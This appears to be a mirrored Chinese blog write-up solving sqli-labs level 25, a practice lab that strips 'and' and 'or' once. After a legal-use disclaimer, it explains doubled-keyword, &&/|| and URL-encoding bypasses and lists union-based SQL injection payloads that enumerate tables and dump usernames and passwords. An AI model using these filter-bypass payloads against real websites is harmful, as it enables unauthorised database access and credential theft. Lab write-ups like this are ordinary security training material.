当前位置: 首页 > news >正文

sqli-labs关卡25(基于get提交的过滤and和or的联合注入)

文章目录

  • 前言
  • 一、回顾上一关知识点
  • 二、靶场第二十五关通关思路
    • 1、判断注入点
    • 2、爆字段个数
    • 3、爆显位位置
    • 4、爆数据库名
    • 5、爆数据库表名
    • 6、爆数据库列名
    • 7、爆数据库数据
  • 总结


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


一、回顾上一关知识点

上一关是过滤了注释符,导致单引号不能被过滤掉而闭合,得通过构造and '1'='1or '1'='1在payload后面才能成功把多余的单引号闭合。这一关是过滤了and和or,让我们看看如何绕过。

二、靶场第二十五关通关思路

  • 1、判断注入点
  • 2、爆字段个数
  • 3、爆显位位置
  • 4、爆数据库名
  • 5、爆数据库表名
  • 6、爆数据库列名
  • 7、爆数据库数据

1、判断注入点

打开二十五关,发现是get提交的注入类型,老规矩用万能语句and 1=1和 and 1=2测试,发现回显正常,还发现语句返回页面的时候and被过滤了,这里说明这一关是过滤掉and和or了.( 如图所示)
在这里插入图片描述
为了进一步猜想是不是过滤了and和or我们看看源码,发现and和or被替换为空了(如图所示)
在这里插入图片描述
这里我们有三种方法绕过and,
第一种是双写and
因为它把and替换为空,而且只过滤一次。如果是anandd的话经过后端过滤应该变成and。
第二种是利用逻辑运算符
and对应的机器语言是&&,or对应的是||
第三种是用url编码
and对应的机器语言是&&,若&&无法绕过,可以试着利用&的url编码绕过,&&url编码为%26%26。当然&&能绕过更好。
绕过的方法有很多这里不多举例,这里我用双写绕过。
最终发现是单引号闭合,payload为(如图所示)

id=1' anandd 1=1--+
id=1' anandd 1=2--+

在这里插入图片描述
在这里插入图片描述

2、爆字段个数

发现4的时候报错,说明只有三个字段
payload为

id=1' oorrder by 4--+

在这里插入图片描述

3、爆显位位置

payload为

id=1' union select 1,2,3--+

在这里插入图片描述

4、爆数据库名

payload为

id=-1' union select 1,user(),database()--+

在这里插入图片描述

5、爆数据库表名

payload为

id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

在这里插入图片描述

6、爆数据库列名

payload为

id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name="users"--+

在这里插入图片描述

7、爆数据库数据

payload为

id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users --+

在这里插入图片描述


总结

这一关是过滤了and和or,过滤的方法很多,有双写、url编码、&&绕过等等。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

http://www.lryc.cn/news/283888.html

相关文章:

  • 机器学习周刊第六期:哈佛大学机器学习课、Chatbot Ul 2.0 、LangChain v0.1.0、Mixtral 8x7B
  • 【算法与数据结构】Java实现查找与排序
  • 边缘计算的挑战和机遇(结合RDH-EI)
  • 详解IP安全:IPSec协议簇 | AH协议 | ESP协议 | IKE协议_ipsec esp
  • 【图论】树的直径
  • 制作一个Python聊天机器人
  • docker 使用 vcs/2018 Verdi等 eda 软件
  • Git教程学习:01 Git简介与安装
  • 写操作系统之开发加载器
  • openlayers [九] 地图覆盖物overlay三种常用用法 popup弹窗,marker标注,text文本
  • rabbitmq-java基础详解
  • openssl3.2 - 官方demo学习 - smime - smsign.c
  • Klocwork—符合功能安全要求的自动化静态测试工具
  • 运筹说 第56期 | 整数规划的数学模型割平面法
  • vue中内置指令v-model的作用和常见使用方法介绍以及在自定义组件上支持
  • 大模型推理引擎面试复习大纲
  • 网络安全 | 苹果承认 GPU 安全漏洞存在,iPhone 12、M2 MacBook Air 等受影响
  • C++ 数论相关题目(约数)
  • freeswitch on centos dockerfile模式
  • Hologres + Flink 流式湖仓建设
  • Linux粘滞位的理解,什么是粘滞位?
  • Stable Diffusion的结构要被淘汰了吗?详细解读谷歌最新大杀器VideoPoet
  • 深度学习与大数据推动下的自然语言处理革命
  • 产品经理必备之最强管理项目过程工具----禅道
  • 美易官方:贝莱德预计美联储将在6月份开始降息,欧洲央行紧随其后
  • 视觉检测系统:工厂生产零部件的智能检测
  • Spring事务的四大特性+事务的传播机制+隔离机制
  • 基于arcgis js api 4.x开发点聚合效果
  • 什么是DDOS高防ip?DDOS高防ip是怎么防护攻击的
  • 提示词工程: 大语言模型的Embedding(嵌入和Fine-tuning(微调)